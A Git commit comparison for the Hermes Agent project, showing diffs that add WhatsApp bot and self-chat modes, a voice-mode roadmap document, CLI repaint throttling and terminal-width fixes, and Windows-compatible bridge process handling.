Compare commits
31 Commits
fix/none-c
...
fix-widesc
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0f2fcf6f82 | ||
|
|
14b0ad95c6 | ||
|
|
221e4228ec | ||
|
|
dd9d3f89b9 | ||
|
|
b0cce17da6 | ||
|
|
c6b3b8c847 | ||
|
|
2ba87a10b0 | ||
|
|
6053236158 | ||
|
|
6789084ec0 | ||
|
|
b603b6e1c9 | ||
|
|
3c13feed4c | ||
|
|
7652afb8de | ||
|
|
7862e7010c | ||
|
|
4faf2a6cf4 | ||
|
|
8c48bb080f | ||
|
|
6d2481ee5c | ||
|
|
ca5525bcd7 | ||
|
|
56b53bff6e | ||
|
|
c4ea996612 | ||
|
|
39bfd226b8 | ||
|
|
234b67f5fd | ||
|
|
e27e3a4f8a | ||
|
|
7a11ff95a9 | ||
|
|
ed0e860abb | ||
|
|
7166647ca1 | ||
|
|
f7300a858e | ||
|
|
e87859e82c | ||
|
|
de101a8202 | ||
|
|
7f1f4c2248 | ||
|
|
c33f8d381b | ||
|
|
3f58e47c63 |
29
README.md
29
README.md
@@ -271,22 +271,30 @@ SLACK_ALLOWED_USERS=U01234ABCDE # Comma-separated Slack user IDs
|
||||
|
||||
### WhatsApp Setup
|
||||
|
||||
WhatsApp doesn't have a simple bot API like Telegram or Discord. Hermes includes a built-in bridge using [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web. The agent links to your WhatsApp account and responds to incoming messages.
|
||||
WhatsApp doesn't have a simple bot API like Telegram or Discord. Hermes includes a built-in bridge using [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web.
|
||||
|
||||
1. **Run the setup command:**
|
||||
**Two modes are supported:**
|
||||
|
||||
| Mode | How it works | Best for |
|
||||
|------|-------------|----------|
|
||||
| **Separate bot number** (recommended) | Dedicate a phone number to the bot. People message that number directly. | Clean UX, multiple users |
|
||||
| **Personal self-chat** | Use your own WhatsApp. You message yourself to talk to the agent. | Quick setup, single user |
|
||||
|
||||
**Setup:**
|
||||
|
||||
```bash
|
||||
hermes whatsapp
|
||||
```
|
||||
|
||||
This will:
|
||||
- Enable WhatsApp in your config
|
||||
- Ask for your phone number (for the allowlist)
|
||||
- Install bridge dependencies (Node.js required)
|
||||
- Display a QR code — scan it with your phone (WhatsApp → Settings → Linked Devices → Link a Device)
|
||||
- Exit automatically once paired
|
||||
The wizard will:
|
||||
1. Ask which mode you want
|
||||
2. For **bot mode**: guide you through getting a second number (WhatsApp Business app on a dual-SIM, Google Voice, or cheap prepaid SIM)
|
||||
3. Configure the allowlist
|
||||
4. Install bridge dependencies (Node.js required)
|
||||
5. Display a QR code — scan from WhatsApp (or WhatsApp Business) → Settings → Linked Devices → Link a Device
|
||||
6. Exit once paired
|
||||
|
||||
2. **Start the gateway:**
|
||||
**Start the gateway:**
|
||||
|
||||
```bash
|
||||
hermes gateway # Foreground
|
||||
@@ -295,7 +303,7 @@ hermes gateway install # Or install as a system service (Linux)
|
||||
|
||||
The gateway starts the WhatsApp bridge automatically using the saved session.
|
||||
|
||||
> **Note:** WhatsApp Web sessions can disconnect if WhatsApp updates their protocol. The gateway reconnects automatically. If you see persistent failures, re-pair with `hermes whatsapp`. Agent responses are prefixed with "⚕ Hermes Agent" so you can distinguish them from your own messages in self-chat.
|
||||
> **Note:** WhatsApp Web sessions can disconnect if WhatsApp updates their protocol. The gateway reconnects automatically. If you see persistent failures, re-pair with `hermes whatsapp`. Agent responses are prefixed with "⚕ Hermes Agent" for easy identification.
|
||||
|
||||
See [docs/messaging.md](docs/messaging.md) for advanced WhatsApp configuration.
|
||||
|
||||
@@ -1635,6 +1643,7 @@ All variables go in `~/.hermes/.env`. Run `hermes config set VAR value` to set t
|
||||
| `SLACK_ALLOWED_USERS` | Comma-separated Slack user IDs |
|
||||
| `SLACK_HOME_CHANNEL` | Default Slack channel for cron delivery |
|
||||
| `WHATSAPP_ENABLED` | Enable WhatsApp bridge (`true`/`false`) |
|
||||
| `WHATSAPP_MODE` | `bot` (separate number, recommended) or `self-chat` (message yourself) |
|
||||
| `WHATSAPP_ALLOWED_USERS` | Comma-separated phone numbers (with country code) |
|
||||
| `MESSAGING_CWD` | Working directory for terminal in messaging (default: ~) |
|
||||
| `GATEWAY_ALLOW_ALL_USERS` | Allow all users without allowlist (`true`/`false`, default: `false`) |
|
||||
|
||||
75
VISION.md
Normal file
75
VISION.md
Normal file
@@ -0,0 +1,75 @@
|
||||
# Hermes Agent — Vision Board & Roadmap
|
||||
|
||||
A living brainstorming doc for features, ideas, and strategic direction.
|
||||
Last updated: March 2, 2026
|
||||
|
||||
---
|
||||
|
||||
## Voice Mode
|
||||
|
||||
**Inspiration:** Claude Code's /voice rollout (March 2026) — lets users talk
|
||||
to the coding agent instead of typing, toggled with a slash command.
|
||||
|
||||
### CLI UX (primary target)
|
||||
|
||||
The voice mode lives inside the existing CLI terminal experience:
|
||||
|
||||
1. **Activation:** User types `/voice` in the Hermes CLI to toggle voice on/off
|
||||
2. **Status indicator:** A persistent banner appears at the top of the prompt
|
||||
area: `Voice mode enabled — hold Space to speak`
|
||||
3. **Push-to-talk:** User holds the Space bar to record. Releasing sends the
|
||||
audio for transcription. The input prompt placeholder changes to guide:
|
||||
`> hold space bar to speak`
|
||||
4. **Transcription:** Speech is transcribed to text and submitted as a normal
|
||||
user message — the agent processes it identically to typed input
|
||||
5. **Agent response:** Text response streams to the terminal as usual.
|
||||
Optionally, TTS can read the response aloud (we already have
|
||||
text_to_speech). Could be a `/voice tts` sub-toggle.
|
||||
6. **Deactivation:** `/voice` again to toggle off, returns to normal typing
|
||||
|
||||
**Implementation notes:**
|
||||
- Push-to-talk needs raw terminal/keyboard input (prompt_toolkit has key
|
||||
binding support — we already use it for the CLI input)
|
||||
- Audio capture via PyAudio or sounddevice, stream to STT provider
|
||||
- Visual feedback while recording: waveform animation or pulsing indicator
|
||||
in the terminal (could use rich/textual for this)
|
||||
- Space bar hold must NOT conflict with normal typing when voice is off
|
||||
|
||||
### Gateway Platforms
|
||||
|
||||
- **Telegram:** Already receives voice messages natively — transcribe them
|
||||
automatically with STT and process as text. Users already send voice
|
||||
notes; we just need to handle the audio file.
|
||||
- **Discord:** Similar — voice messages come as attachments, transcribe and
|
||||
process
|
||||
- **WhatsApp:** Voice notes are a primary interaction mode, same approach
|
||||
|
||||
### Ideas
|
||||
|
||||
- Agent can already do TTS output (text_to_speech tool exists) — pair with
|
||||
voice input for a full conversational loop
|
||||
- Latency matters — voice conversations feel bad above ~2s response time
|
||||
- Could adjust system prompt in voice mode to be more concise/conversational
|
||||
- Audio cues for tool call confirmations, errors, completion
|
||||
- Streaming STT (transcribe while user is still speaking) for lower latency
|
||||
|
||||
### Open Questions
|
||||
|
||||
- Which STT provider? (Whisper local, Deepgram, AssemblyAI, etc.)
|
||||
- Local Whisper = no API dependency but needs GPU for speed
|
||||
- Deepgram/AssemblyAI = fast streaming, but adds a service dependency
|
||||
- Should voice mode change the system prompt to be more conversational/concise?
|
||||
- How to handle tool call confirmations in voice — audio cues?
|
||||
- Do we want full duplex (agent can interrupt/be interrupted) or half-duplex?
|
||||
|
||||
---
|
||||
|
||||
## Ideas Backlog
|
||||
|
||||
*(New ideas get added here, then organized into sections as they mature)*
|
||||
|
||||
---
|
||||
|
||||
## Shipped
|
||||
|
||||
*(Track completed vision items here for posterity)*
|
||||
@@ -31,6 +31,8 @@ def build_tool_preview(tool_name: str, args: dict, max_len: int = 40) -> str:
|
||||
"vision_analyze": "question", "mixture_of_agents": "user_prompt",
|
||||
"skill_view": "name", "skills_list": "category",
|
||||
"schedule_cronjob": "name",
|
||||
"execute_code": "code", "delegate_task": "goal",
|
||||
"clarify": "question", "skill_manage": "name",
|
||||
}
|
||||
|
||||
if tool_name == "process":
|
||||
@@ -97,7 +99,7 @@ def build_tool_preview(tool_name: str, args: dict, max_len: int = 40) -> str:
|
||||
|
||||
key = primary_args.get(tool_name)
|
||||
if not key:
|
||||
for fallback_key in ("query", "text", "command", "path", "name", "prompt"):
|
||||
for fallback_key in ("query", "text", "command", "path", "name", "prompt", "code", "goal"):
|
||||
if fallback_key in args:
|
||||
key = fallback_key
|
||||
break
|
||||
|
||||
60
cli.py
60
cli.py
@@ -847,7 +847,7 @@ class HermesCLI:
|
||||
or os.getenv("OPENAI_BASE_URL")
|
||||
or os.getenv("OPENROUTER_BASE_URL", CLI_CONFIG["model"]["base_url"])
|
||||
)
|
||||
self.api_key = api_key or os.getenv("OPENAI_API_KEY") or os.getenv("OPENROUTER_API_KEY")
|
||||
self.api_key = api_key or os.getenv("OPENROUTER_API_KEY") or os.getenv("OPENAI_API_KEY")
|
||||
self._nous_key_expires_at: Optional[str] = None
|
||||
self._nous_key_source: Optional[str] = None
|
||||
# Max turns priority: CLI arg > config file > env var > default
|
||||
@@ -916,6 +916,15 @@ class HermesCLI:
|
||||
|
||||
# History file for persistent input recall across sessions
|
||||
self._history_file = Path.home() / ".hermes_history"
|
||||
self._last_invalidate: float = 0.0 # throttle UI repaints
|
||||
|
||||
def _invalidate(self, min_interval: float = 0.25) -> None:
|
||||
"""Throttled UI repaint — prevents terminal blinking on slow/SSH connections."""
|
||||
import time as _time
|
||||
now = _time.monotonic()
|
||||
if hasattr(self, "_app") and self._app and (now - self._last_invalidate) >= min_interval:
|
||||
self._last_invalidate = now
|
||||
self._app.invalidate()
|
||||
|
||||
def _ensure_runtime_credentials(self) -> bool:
|
||||
"""
|
||||
@@ -1903,8 +1912,7 @@ class HermesCLI:
|
||||
self._clarify_freetext = is_open_ended
|
||||
|
||||
# Trigger prompt_toolkit repaint from this (non-main) thread
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
|
||||
# Poll in 1-second ticks so the countdown refreshes in the UI.
|
||||
# Each tick triggers an invalidate() to repaint the hint line.
|
||||
@@ -1918,15 +1926,13 @@ class HermesCLI:
|
||||
if remaining <= 0:
|
||||
break
|
||||
# Repaint so the countdown updates
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
|
||||
# Timed out — tear down the UI and let the agent decide
|
||||
self._clarify_state = None
|
||||
self._clarify_freetext = False
|
||||
self._clarify_deadline = 0
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
_cprint(f"\n{_DIM}(clarify timed out after {timeout}s — agent will decide){_RST}")
|
||||
return (
|
||||
"The user did not provide a response within the time limit. "
|
||||
@@ -1951,16 +1957,14 @@ class HermesCLI:
|
||||
}
|
||||
self._sudo_deadline = _time.monotonic() + timeout
|
||||
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
|
||||
while True:
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
self._sudo_state = None
|
||||
self._sudo_deadline = 0
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
if result:
|
||||
_cprint(f"\n{_DIM} ✓ Password received (cached for session){_RST}")
|
||||
else:
|
||||
@@ -1970,13 +1974,11 @@ class HermesCLI:
|
||||
remaining = self._sudo_deadline - _time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
|
||||
self._sudo_state = None
|
||||
self._sudo_deadline = 0
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
_cprint(f"\n{_DIM} ⏱ Timeout — continuing without sudo{_RST}")
|
||||
return ""
|
||||
|
||||
@@ -2002,28 +2004,24 @@ class HermesCLI:
|
||||
}
|
||||
self._approval_deadline = _time.monotonic() + timeout
|
||||
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
|
||||
while True:
|
||||
try:
|
||||
result = response_queue.get(timeout=1)
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
return result
|
||||
except queue.Empty:
|
||||
remaining = self._approval_deadline - _time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
|
||||
self._approval_state = None
|
||||
self._approval_deadline = 0
|
||||
if hasattr(self, '_app') and self._app:
|
||||
self._app.invalidate()
|
||||
self._invalidate()
|
||||
_cprint(f"\n{_DIM} ⏱ Timeout — denying command{_RST}")
|
||||
return "deny"
|
||||
|
||||
@@ -2053,7 +2051,8 @@ class HermesCLI:
|
||||
# Add user message to history
|
||||
self.conversation_history.append({"role": "user", "content": message})
|
||||
|
||||
w = self.console.width
|
||||
import shutil as _shutil
|
||||
w = _shutil.get_terminal_size().columns
|
||||
_cprint(f"{_GOLD}{'─' * w}{_RST}")
|
||||
print(flush=True)
|
||||
|
||||
@@ -2128,7 +2127,7 @@ class HermesCLI:
|
||||
response = response + "\n\n---\n_[Interrupted - processing new message]_"
|
||||
|
||||
if response:
|
||||
w = self.console.width
|
||||
w = _shutil.get_terminal_size().columns
|
||||
label = " ⚕ Hermes "
|
||||
fill = w - 2 - len(label) # 2 for ╭ and ╮
|
||||
top = f"{_GOLD}╭─{label}{'─' * max(fill - 1, 0)}╮{_RST}"
|
||||
@@ -2425,7 +2424,8 @@ class HermesCLI:
|
||||
def _input_height():
|
||||
try:
|
||||
doc = input_area.buffer.document
|
||||
available_width = (cli_ref.console.width or 80) - 4 # subtract prompt width
|
||||
import shutil as _shutil
|
||||
available_width = _shutil.get_terminal_size().columns - 4 # subtract prompt width
|
||||
if available_width < 10:
|
||||
available_width = 40
|
||||
visual_lines = 0
|
||||
@@ -2686,13 +2686,17 @@ class HermesCLI:
|
||||
|
||||
# Horizontal rules above and below the input (bronze, 1 line each).
|
||||
# The bottom rule moves down as the TextArea grows with newlines.
|
||||
# Using char='─' instead of hardcoded repetition so the rule
|
||||
# always spans the full terminal width on any screen size.
|
||||
input_rule_top = Window(
|
||||
content=FormattedTextControl([('class:input-rule', '─' * 200)]),
|
||||
char='─',
|
||||
height=1,
|
||||
style='class:input-rule',
|
||||
)
|
||||
input_rule_bot = Window(
|
||||
content=FormattedTextControl([('class:input-rule', '─' * 200)]),
|
||||
char='─',
|
||||
height=1,
|
||||
style='class:input-rule',
|
||||
)
|
||||
|
||||
# Layout: interactive prompt widgets + ruled input at bottom.
|
||||
|
||||
@@ -141,7 +141,12 @@ pip install discord.py>=2.0
|
||||
|
||||
### WhatsApp
|
||||
|
||||
WhatsApp uses a built-in bridge powered by [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web. The agent links to your WhatsApp account and responds to incoming messages.
|
||||
WhatsApp uses a built-in bridge powered by [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web.
|
||||
|
||||
**Two modes:**
|
||||
|
||||
- **`bot` mode (recommended):** Use a dedicated phone number for the bot. Other people message that number directly. All `fromMe` messages are treated as bot echo-backs and ignored.
|
||||
- **`self-chat` mode:** Use your own WhatsApp account. You talk to the agent by messaging yourself (WhatsApp → "Message Yourself").
|
||||
|
||||
**Setup:**
|
||||
|
||||
@@ -149,12 +154,7 @@ WhatsApp uses a built-in bridge powered by [Baileys](https://github.com/WhiskeyS
|
||||
hermes whatsapp
|
||||
```
|
||||
|
||||
This will:
|
||||
- Enable WhatsApp in your `.env`
|
||||
- Ask for your phone number (for the allowlist)
|
||||
- Install bridge dependencies (Node.js required)
|
||||
- Display a QR code — scan it with your phone (WhatsApp → Settings → Linked Devices → Link a Device)
|
||||
- Exit automatically once paired
|
||||
The wizard walks you through mode selection, allowlist configuration, dependency installation, and QR code pairing. For bot mode, you'll need a second phone number with WhatsApp installed on some device (dual-SIM with WhatsApp Business app is the easiest approach).
|
||||
|
||||
Then start the gateway:
|
||||
|
||||
@@ -162,16 +162,23 @@ Then start the gateway:
|
||||
hermes gateway
|
||||
```
|
||||
|
||||
The gateway starts the WhatsApp bridge automatically using the saved session credentials in `~/.hermes/whatsapp/session/`.
|
||||
|
||||
**Environment variables:**
|
||||
|
||||
```bash
|
||||
WHATSAPP_ENABLED=true
|
||||
WHATSAPP_ALLOWED_USERS=15551234567 # Comma-separated phone numbers with country code
|
||||
WHATSAPP_MODE=bot # "bot" (separate number) or "self-chat" (message yourself)
|
||||
WHATSAPP_ALLOWED_USERS=15551234567 # Comma-separated phone numbers with country code
|
||||
```
|
||||
|
||||
Agent responses are prefixed with "⚕ **Hermes Agent**" so you can distinguish them from your own messages when messaging yourself.
|
||||
**Getting a second number for bot mode:**
|
||||
|
||||
| Option | Cost | Notes |
|
||||
|--------|------|-------|
|
||||
| WhatsApp Business app + dual-SIM | Free (if you have dual-SIM) | Install alongside personal WhatsApp, no second phone needed |
|
||||
| Google Voice | Free (US only) | voice.google.com, verify WhatsApp via the Google Voice app |
|
||||
| Prepaid SIM | $3-10/month | Any carrier; verify once, phone can go in a drawer on WiFi |
|
||||
|
||||
Agent responses are prefixed with "⚕ **Hermes Agent**" for easy identification.
|
||||
|
||||
> **Re-pairing:** If WhatsApp Web sessions disconnect (protocol updates, phone reset), re-pair with `hermes whatsapp`.
|
||||
|
||||
|
||||
@@ -19,7 +19,10 @@ import asyncio
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import subprocess
|
||||
|
||||
_IS_WINDOWS = platform.system() == "Windows"
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional, Any
|
||||
|
||||
@@ -157,16 +160,18 @@ class WhatsAppAdapter(BasePlatformAdapter):
|
||||
pass
|
||||
|
||||
# Start the bridge process in its own process group
|
||||
whatsapp_mode = os.getenv("WHATSAPP_MODE", "self-chat")
|
||||
self._bridge_process = subprocess.Popen(
|
||||
[
|
||||
"node",
|
||||
str(bridge_path),
|
||||
"--port", str(self._bridge_port),
|
||||
"--session", str(self._session_path),
|
||||
"--mode", whatsapp_mode,
|
||||
],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
preexec_fn=os.setsid,
|
||||
preexec_fn=None if _IS_WINDOWS else os.setsid,
|
||||
)
|
||||
|
||||
# Wait for bridge to be ready via HTTP health check
|
||||
@@ -211,13 +216,19 @@ class WhatsAppAdapter(BasePlatformAdapter):
|
||||
# Kill the entire process group so child node processes die too
|
||||
import signal
|
||||
try:
|
||||
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGTERM)
|
||||
if _IS_WINDOWS:
|
||||
self._bridge_process.terminate()
|
||||
else:
|
||||
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGTERM)
|
||||
except (ProcessLookupError, PermissionError):
|
||||
self._bridge_process.terminate()
|
||||
await asyncio.sleep(1)
|
||||
if self._bridge_process.poll() is None:
|
||||
try:
|
||||
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGKILL)
|
||||
if _IS_WINDOWS:
|
||||
self._bridge_process.kill()
|
||||
else:
|
||||
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGKILL)
|
||||
except (ProcessLookupError, PermissionError):
|
||||
self._bridge_process.kill()
|
||||
except Exception as e:
|
||||
|
||||
@@ -1672,7 +1672,7 @@ class GatewayRunner:
|
||||
progress_queue = queue.Queue() if tool_progress_enabled else None
|
||||
last_tool = [None] # Mutable container for tracking in closure
|
||||
|
||||
def progress_callback(tool_name: str, preview: str = None):
|
||||
def progress_callback(tool_name: str, preview: str = None, args: dict = None):
|
||||
"""Callback invoked by agent when a tool is called."""
|
||||
if not progress_queue:
|
||||
return
|
||||
@@ -1692,6 +1692,7 @@ class GatewayRunner:
|
||||
"write_file": "✍️",
|
||||
"patch": "🔧",
|
||||
"search": "🔎",
|
||||
"search_files": "🔎",
|
||||
"list_directory": "📂",
|
||||
"image_generate": "🎨",
|
||||
"text_to_speech": "🔊",
|
||||
@@ -1717,14 +1718,28 @@ class GatewayRunner:
|
||||
"schedule_cronjob": "⏰",
|
||||
"list_cronjobs": "⏰",
|
||||
"remove_cronjob": "⏰",
|
||||
"execute_code": "🐍",
|
||||
"delegate_task": "🔀",
|
||||
"clarify": "❓",
|
||||
"skill_manage": "📝",
|
||||
}
|
||||
emoji = tool_emojis.get(tool_name, "⚙️")
|
||||
|
||||
# Verbose mode: show detailed arguments
|
||||
if progress_mode == "verbose" and args:
|
||||
import json as _json
|
||||
args_str = _json.dumps(args, ensure_ascii=False, default=str)
|
||||
if len(args_str) > 200:
|
||||
args_str = args_str[:197] + "..."
|
||||
msg = f"{emoji} {tool_name}({list(args.keys())})\n{args_str}"
|
||||
progress_queue.put(msg)
|
||||
return
|
||||
|
||||
if preview:
|
||||
# Truncate preview to keep messages clean
|
||||
if len(preview) > 40:
|
||||
preview = preview[:37] + "..."
|
||||
msg = f"{emoji} {tool_name}... \"{preview}\""
|
||||
if len(preview) > 80:
|
||||
preview = preview[:77] + "..."
|
||||
msg = f"{emoji} {tool_name}: \"{preview}\""
|
||||
else:
|
||||
msg = f"{emoji} {tool_name}..."
|
||||
|
||||
|
||||
@@ -168,7 +168,7 @@ def cmd_gateway(args):
|
||||
|
||||
|
||||
def cmd_whatsapp(args):
|
||||
"""Set up WhatsApp: enable, configure allowed users, install bridge, pair via QR."""
|
||||
"""Set up WhatsApp: choose mode, configure, install bridge, pair via QR."""
|
||||
import os
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
@@ -177,12 +177,55 @@ def cmd_whatsapp(args):
|
||||
print()
|
||||
print("⚕ WhatsApp Setup")
|
||||
print("=" * 50)
|
||||
print()
|
||||
print("This will link your WhatsApp account to Hermes Agent.")
|
||||
print("The agent will respond to messages sent to your WhatsApp number.")
|
||||
print()
|
||||
|
||||
# Step 1: Enable WhatsApp
|
||||
# ── Step 1: Choose mode ──────────────────────────────────────────────
|
||||
current_mode = get_env_value("WHATSAPP_MODE") or ""
|
||||
if not current_mode:
|
||||
print()
|
||||
print("How will you use WhatsApp with Hermes?")
|
||||
print()
|
||||
print(" 1. Separate bot number (recommended)")
|
||||
print(" People message the bot's number directly — cleanest experience.")
|
||||
print(" Requires a second phone number with WhatsApp installed on a device.")
|
||||
print()
|
||||
print(" 2. Personal number (self-chat)")
|
||||
print(" You message yourself to talk to the agent.")
|
||||
print(" Quick to set up, but the UX is less intuitive.")
|
||||
print()
|
||||
try:
|
||||
choice = input(" Choose [1/2]: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print("\nSetup cancelled.")
|
||||
return
|
||||
|
||||
if choice == "1":
|
||||
save_env_value("WHATSAPP_MODE", "bot")
|
||||
wa_mode = "bot"
|
||||
print(" ✓ Mode: separate bot number")
|
||||
print()
|
||||
print(" ┌─────────────────────────────────────────────────┐")
|
||||
print(" │ Getting a second number for the bot: │")
|
||||
print(" │ │")
|
||||
print(" │ Easiest: Install WhatsApp Business (free app) │")
|
||||
print(" │ on your phone with a second number: │")
|
||||
print(" │ • Dual-SIM: use your 2nd SIM slot │")
|
||||
print(" │ • Google Voice: free US number (voice.google) │")
|
||||
print(" │ • Prepaid SIM: $3-10, verify once │")
|
||||
print(" │ │")
|
||||
print(" │ WhatsApp Business runs alongside your personal │")
|
||||
print(" │ WhatsApp — no second phone needed. │")
|
||||
print(" └─────────────────────────────────────────────────┘")
|
||||
else:
|
||||
save_env_value("WHATSAPP_MODE", "self-chat")
|
||||
wa_mode = "self-chat"
|
||||
print(" ✓ Mode: personal number (self-chat)")
|
||||
else:
|
||||
wa_mode = current_mode
|
||||
mode_label = "separate bot number" if wa_mode == "bot" else "personal number (self-chat)"
|
||||
print(f"\n✓ Mode: {mode_label}")
|
||||
|
||||
# ── Step 2: Enable WhatsApp ──────────────────────────────────────────
|
||||
print()
|
||||
current = get_env_value("WHATSAPP_ENABLED")
|
||||
if current and current.lower() == "true":
|
||||
print("✓ WhatsApp is already enabled")
|
||||
@@ -190,26 +233,36 @@ def cmd_whatsapp(args):
|
||||
save_env_value("WHATSAPP_ENABLED", "true")
|
||||
print("✓ WhatsApp enabled")
|
||||
|
||||
# Step 2: Allowed users
|
||||
# ── Step 3: Allowed users ────────────────────────────────────────────
|
||||
current_users = get_env_value("WHATSAPP_ALLOWED_USERS") or ""
|
||||
if current_users:
|
||||
print(f"✓ Allowed users: {current_users}")
|
||||
response = input("\n Update allowed users? [y/N] ").strip()
|
||||
try:
|
||||
response = input("\n Update allowed users? [y/N] ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
response = "n"
|
||||
if response.lower() in ("y", "yes"):
|
||||
phone = input(" Phone number(s) (e.g. 15551234567, comma-separated): ").strip()
|
||||
if wa_mode == "bot":
|
||||
phone = input(" Phone numbers that can message the bot (comma-separated): ").strip()
|
||||
else:
|
||||
phone = input(" Your phone number (e.g. 15551234567): ").strip()
|
||||
if phone:
|
||||
save_env_value("WHATSAPP_ALLOWED_USERS", phone.replace(" ", ""))
|
||||
print(f" ✓ Updated to: {phone}")
|
||||
else:
|
||||
print()
|
||||
phone = input(" Your phone number (e.g. 15551234567): ").strip()
|
||||
if wa_mode == "bot":
|
||||
print(" Who should be allowed to message the bot?")
|
||||
phone = input(" Phone numbers (comma-separated, or * for anyone): ").strip()
|
||||
else:
|
||||
phone = input(" Your phone number (e.g. 15551234567): ").strip()
|
||||
if phone:
|
||||
save_env_value("WHATSAPP_ALLOWED_USERS", phone.replace(" ", ""))
|
||||
print(f" ✓ Allowed users set: {phone}")
|
||||
else:
|
||||
print(" ⚠ No allowlist — the agent will respond to ALL incoming messages")
|
||||
|
||||
# Step 3: Install bridge deps
|
||||
# ── Step 4: Install bridge dependencies ──────────────────────────────
|
||||
project_root = Path(__file__).resolve().parents[1]
|
||||
bridge_dir = project_root / "scripts" / "whatsapp-bridge"
|
||||
bridge_script = bridge_dir / "bridge.js"
|
||||
@@ -234,13 +287,16 @@ def cmd_whatsapp(args):
|
||||
else:
|
||||
print("✓ Bridge dependencies already installed")
|
||||
|
||||
# Step 4: Check for existing session
|
||||
# ── Step 5: Check for existing session ───────────────────────────────
|
||||
session_dir = Path.home() / ".hermes" / "whatsapp" / "session"
|
||||
session_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
if (session_dir / "creds.json").exists():
|
||||
print("✓ Existing WhatsApp session found")
|
||||
response = input("\n Re-pair? This will clear the existing session. [y/N] ").strip()
|
||||
try:
|
||||
response = input("\n Re-pair? This will clear the existing session. [y/N] ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
response = "n"
|
||||
if response.lower() in ("y", "yes"):
|
||||
import shutil
|
||||
shutil.rmtree(session_dir, ignore_errors=True)
|
||||
@@ -251,11 +307,16 @@ def cmd_whatsapp(args):
|
||||
print(" Start the gateway with: hermes gateway")
|
||||
return
|
||||
|
||||
# Step 5: Run bridge in pair-only mode (no HTTP server, exits after QR scan)
|
||||
# ── Step 6: QR code pairing ──────────────────────────────────────────
|
||||
print()
|
||||
print("─" * 50)
|
||||
print("📱 Scan the QR code with your phone:")
|
||||
print(" WhatsApp → Settings → Linked Devices → Link a Device")
|
||||
if wa_mode == "bot":
|
||||
print("📱 Open WhatsApp (or WhatsApp Business) on the")
|
||||
print(" phone with the BOT's number, then scan:")
|
||||
else:
|
||||
print("📱 Open WhatsApp on your phone, then scan:")
|
||||
print()
|
||||
print(" Settings → Linked Devices → Link a Device")
|
||||
print("─" * 50)
|
||||
print()
|
||||
|
||||
@@ -267,12 +328,28 @@ def cmd_whatsapp(args):
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
# ── Step 7: Post-pairing ─────────────────────────────────────────────
|
||||
print()
|
||||
if (session_dir / "creds.json").exists():
|
||||
print("✓ WhatsApp paired successfully!")
|
||||
print()
|
||||
print("Start the gateway with: hermes gateway")
|
||||
print("Or install as a service: hermes gateway install")
|
||||
if wa_mode == "bot":
|
||||
print(" Next steps:")
|
||||
print(" 1. Start the gateway: hermes gateway")
|
||||
print(" 2. Send a message to the bot's WhatsApp number")
|
||||
print(" 3. The agent will reply automatically")
|
||||
print()
|
||||
print(" Tip: Agent responses are prefixed with '⚕ Hermes Agent'")
|
||||
else:
|
||||
print(" Next steps:")
|
||||
print(" 1. Start the gateway: hermes gateway")
|
||||
print(" 2. Open WhatsApp → Message Yourself")
|
||||
print(" 3. Type a message — the agent will reply")
|
||||
print()
|
||||
print(" Tip: Agent responses are prefixed with '⚕ Hermes Agent'")
|
||||
print(" so you can tell them apart from your own messages.")
|
||||
print()
|
||||
print(" Or install as a service: hermes gateway install")
|
||||
else:
|
||||
print("⚠ Pairing may not have completed. Run 'hermes whatsapp' to try again.")
|
||||
|
||||
|
||||
@@ -74,8 +74,8 @@ def _resolve_openrouter_runtime(
|
||||
|
||||
api_key = (
|
||||
explicit_api_key
|
||||
or os.getenv("OPENAI_API_KEY")
|
||||
or os.getenv("OPENROUTER_API_KEY")
|
||||
or os.getenv("OPENAI_API_KEY")
|
||||
or ""
|
||||
)
|
||||
|
||||
|
||||
@@ -1382,21 +1382,13 @@ def run_setup_wizard(args):
|
||||
existing_whatsapp = get_env_value('WHATSAPP_ENABLED')
|
||||
if not existing_whatsapp and prompt_yes_no("Set up WhatsApp?", False):
|
||||
print_info("WhatsApp connects via a built-in bridge (Baileys).")
|
||||
print_info("Requires Node.js (already installed if you have browser tools).")
|
||||
print_info("On first gateway start, you'll scan a QR code with your phone.")
|
||||
print_info("Requires Node.js. Run 'hermes whatsapp' for guided setup.")
|
||||
print()
|
||||
if prompt_yes_no("Enable WhatsApp?", True):
|
||||
